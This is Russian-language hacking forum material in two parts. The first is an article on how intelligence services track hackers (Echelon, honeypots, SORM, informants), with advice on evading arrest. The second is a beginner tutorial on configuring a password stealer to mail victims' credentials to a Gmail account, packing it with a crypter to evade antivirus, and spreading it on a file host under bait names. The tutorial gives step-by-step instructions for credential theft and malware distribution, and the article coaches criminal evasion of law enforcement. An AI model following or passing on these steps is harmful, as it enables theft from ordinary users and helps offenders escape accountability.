
Эшелон — американская сеть глобального электронного шпионажа. Эшелон может перехватывать информацию, передаваемую практически по любым каналам связи (спутниковым, цифровым) в любой точке планеты. Источниками информации служат Интернет, электронная почта, телефон, факс, телекс. Эшелон — включает в себя более ста спутников-шпионов, большое количество суперсовременных и мощных компьютеров, множество наземных станций, расположенных по всему миру, на которых работают десятки тысяч сотрудников — программисты, криптологи, математики, лингвисты... Принцип работы системы Эшелон приблизительно следующий: каналы связи постоянно сканируются сверхмощными компьютерами, если проходящее сообщение содержит ключевое слово, выражение или тембр голоса (например, голос Бин Ладена), которое входит в так называемый словарь Эшелона, то сообщение записывается. Словарь Эшелона содержит огромное количество ключевых «слов» на многих языках мира и постоянно обновляется.

Вывод третий: профессионалы не доверяют прокси.

Шеллы и горшочки меда

Именно из-за недоверия к анонимным прокси некоторые «продвинутые» хакеры предпочитают заменять их цепочкой шеллов. Однако и шеллы таят в себе немалые опасности. Если ты слышал о проекте Honeynet, то должен был уже давно понять, то, что я сейчас хочу сказать.

Что такое Honeynet?

Honeynet — сеть машин, специально предоставленная для взлома, для т. н. черных шляп, с целью анализа и изучения их техники. Сайт проекта:

Чтобы видеть ссылки, необходимо зарегистрироваться.

(на bugtraq.ru можно почитать некоторые переводы). Кроме того, с теми же целями используются и отдельные машины, которые называют honeypots (медовые горшочки).

Проекты Honeynet поддерживаются в основном энтузиастами, однако, было бы наивно полагать, что если это пришло в голову обычным специалистам по безопасности, то не могло придти в голову спецслужбам, которые получают деньги за изобретение подобных штучек. Вообще, подобная тактика с «подсадными утками» является коронным приемом федералов не только в сети. Главная трабла для хакера в том, что очень сложно отличить, является ли используемый им шелл медовым горшочком или полноценным шеллом. Так, в Honeynet предусмотрен даже случай захвата или отключения хакером отдельного сервера логов (syslog-сервера). Причем, не имеет значения, был ли захвачен шелл нестандартным способом или через поисковик по известной баге, напомню, что Honeynet строится на стандартных системах без всякого намека на снижение безопасности. Единственное, что может отличать настоящий шелл от медового горшка это ограничение на количество исходящих соединений (в Honeynet предлагается разрешение в 5-10 соединений), это делается с целью защиты от использования шелла для сканирования других систем, проведения DoS и т. д., хотя, в принципе, такие ограничения могут присутствовать и на обычной машине. Скарженному шеллу доверять не менее опасно, т. к., во-первых, неизвестно под чьим контролем находится хостинг, во-вторых, все действия могут логгироваться. Фейковые шеллы могут нести и косвенную опасность. Например, если в IRC у одного из участников установлен BNC на подобном шелле, то спецслужбам не составит особого труда читать все сообщения в чате, а значит, все участники канала попадают под удар (об этом, кстати, забавно написано в одном из материалов Honeynet).

Вывод четвертый: профессионалы не доверяют шеллам.

Подконтрольные провайдеры

В большинстве случаев спецслужбам удается установить IP-адрес хакера, но это ничего не значит, т. к. главная цель — узнать ФИО «преступника» и возможно дом. адрес. Здесь все упирается в провайдера, т. к. только провайдер может сказать, кому принадлежит IP, а в случае с DialUP — с какого телефона осуществлялось подключение. Если хакер находится в России, то российским спецслужбам в этом плане значительно проще (практически все отечественные провайдеры находятся под контролем российских спецслужб). Но не нужно считать, что иностранным спецслужбам вообще ни как не удастся установить твою личность. Если совершенный тобой хак будет достаточно серьезным, то не исключено, что спецслужбам обоих сторон удастся договориться. Если нет, то тебя будут вычислять по косвенным признакам. Например, если после совершенного взлома, ты, пользуясь одной и той же цепочкой прокси, заказываешь себе домой на amazon.com какой-нибудь стафф, то, в случае, если дело ведут американские спецслужбы, им не составит ни какого труда «надавить» на админов магазина, с требованием выдать твой адрес (в свете 11 сентября это вообще не проблема, достаточно объявить тебя террористом). Короче, пока в Интернете есть хоть немного личной информации о тебе, ее могут раскопать, способов для этого много и спецслужбы ими должны хорошо владеть (не забывай, что вполне реально хакнуть и самого провайдера). Не удивляйся тогда, если в аэропорту какого-нибудь Дублина к тебе подойдут люди в черном, наденут наручники и зачитают (или запинают) твои права.

Что такое СОРМ?

СОРМ расшифровывается как «система оперативно-розыскных мероприятий», подразделяется на две системы: СОРМ-1 и СОРМ-2. Первая предназначена для контроля телефонной связи, вторая анализирует Интернет-трафик. В соответствии с документами, Интернет-провайдер на свои деньги был обязан установить оборудование, программы и выделенную линию для местного отделения ФСБ, а также провести обучение сотрудников. Все это позволяет последним отслеживать, перехватывать и прерывать связь любого клиента этого провайдера. На данный момент практически все российские провайдеры провели данные работы. Принцип функционирования СОРМ-2 похож на принцип работы Эшелона, т. е. подобным образом происходит обработка и накопление информации по ключевым словам. Системы подобные СОРМ существуют во многих других странах, например, в США — это Carnivore. Более подробную информацию об оборудовании и принципах работы СОРМ, можно посмотреть, например, здесь:

Чтобы видеть ссылки, необходимо зарегистрироваться.

.

Если ты уже скомпрометирован, то не составит особого труда настроить эту систему на постоянное слежение за тобой. Здесь хочу отметить: меня просто умиляют люди, которые пересылают в открытом виде или в простых архивах — троянов, вирей, червей и прочий вредоносный стафф. Сейчас многие провайдеры (про бесплатные почтовые службы я вообще молчу) устанавливают антивирусы, поэтому без всяких СОРМ тебя можно повязать, статьи 272, 273 могут обеспечить зажигательный отдых в местах не столь отдаленных до 3 лет + штраф.


Вывод пятый: профессионалам, которые ни когда не хакали из одного и того же места, в обязательном порядке использовали АнтиАОН и пересылали любую компрометирующую информацию в зашифрованном виде, удавалось на неопределенное время оттягивать свое пребывание на свободе.

Засланцы

Есть еще один род опасности, о котором многие, в частности, молодые дефейсеры, даже не задумываются — это засланцы от федералов. Представь, ты общаешься в чате, обсуждаешь предстоящие или совершенные взломы, радуешься жизни, а в это время один из участников, причем которого все считают за своего, бережно сохраняет логи и пересылает их на доклад вышестоящему начальству. Затем вы собираетесь в реале, бухаете, оттягиваетесь, а в это время неизвестный человек, который уже заранее знал о вашей встрече, делает снимки скрытой камерой и т. д. Я, думаю, ты понял, куда я клоню. Стать своим в российских т. н. «хакерских» тусах совсем не сложно, достаточно похвастаться парочкой дефейсов и тебе откроются самые приватные базары. В зарубежных сложнее, нужно сделать что-то существенное, чтобы на тебя обратили хоть немного внимания (но для спецслужб это не должно быть проблемой). Засланцы внедрены во многие преступные группировки, шпионы работают на секретных предприятиях иностранных государств, доносчики следят за высокопоставленными лицами... было бы странно, если бы спецслужбы не догадались внедрить своих людей и в хакерское сообщество. Возможно, многие, кто сейчас отдыхает на нарах, ломают голову: «В чем же была моя ошибка? Как меня смогли повязать?» и даже не думают, что тот прикольный чел в IRC, с которым они вместе рутили не один десяток машин является самым настоящим двуличным засланцем.


Вывод последний: профессионалы объединяются в команды и ведут приватные разговоры только с теми, в ком уверены на все 100% (обычно, гарантией является долгое личное знакомство в реал лайф).

Слово в заключении

Заметь, в статье не было никаких прямых рекомендаций, советов и пр., никто не читал тебе проповеди, не отговаривал от совершения черных дел и уж тем более не толкал на преступления. Статья рассчитана на думающих людей, надеюсь, ты относишься к их числу.

 

[Rogge]

Обворовываем смертных :)

Если вы считаете, что вы настоящий профи андеграунда, то можете дальше не читать, избавьте меня от глупых комментов. Если же вы в этом просто разбираетесь, то думаю, что всё равно можете найти что-нибудь полезное. (С) v1

Итак, как было сказано выше статья расчитана на новичков, таких как я.

Сегодня, мой друг, ты научишься:

Выбору стилеров,
дальнейшей криптовки
и впариванию.

[Глава I] [Выбор софта]

Перепробовав несколько стилеров и кейлоггеров, мой взляд пал на этот //спасибо Флурдэ.
Но это мой выбор.Актуальные стиллеры вы всегда можете найти здесь.

[Глава I.a] [Настройка]



Для начала регистрируем себе почтовый ящик на

Чтобы видеть ссылки, необходимо зарегистрироваться.

После регистрации вводим в настройках стилера логин и пароль от почты.
Жмём "Test Gmail" если вышло сообщение о удачной проверке жмём "Build Stealer".
Сохраняем стилер, можно закрывать программу.
Важно!
Если вы пугаетесь того, что нет поля "Кому отправлять:", то ваши волнения бессмысленны.Пароли отправляются на имейл указанный в настройках, т.е. самому себе.
[Глава II] [Криптовка]
Для того чтобы антивирусы не ругались на вирус, необходимо его закриптовать.
В данный момент я пользуюсь этим //спасибо Флурдэ
Качаем, запускаем криптор, находим наш сохраненный вирус и криптуем.
Сканируем на

Чтобы видеть ссылки, необходимо зарегистрироваться.

и проверяем.
У меня на файл стилера ругался только аваст, и то на подозрение в криптовке, но эт не проблема.Не такой уж аваст популярный.
Можно запустить у себя и проверить почту, если логи пришли - гуд, если нет повторяем все этапы заново.
[Глава III] [Впаривание ]
Наверно самая увлекательная часть обворовывания . Есть много способов: подсунуть вирус, приклеить к музыке или картинке, но я делал так.
Есть некий провайдер СибирьТел-ком, он от себя держит файловый хостинг

Чтобы видеть ссылки, необходимо зарегистрироваться.

c просмотром последних файлов (Аха! Вот этим мы и воспользуемся!).Регаемся, заливаем вирус и переименовываем его(к примеру):
ХИТ ЛЕТА КАЧАЙ БЕЗ РАЗДУМИЙ
Голоса ВКонтакте и т.д.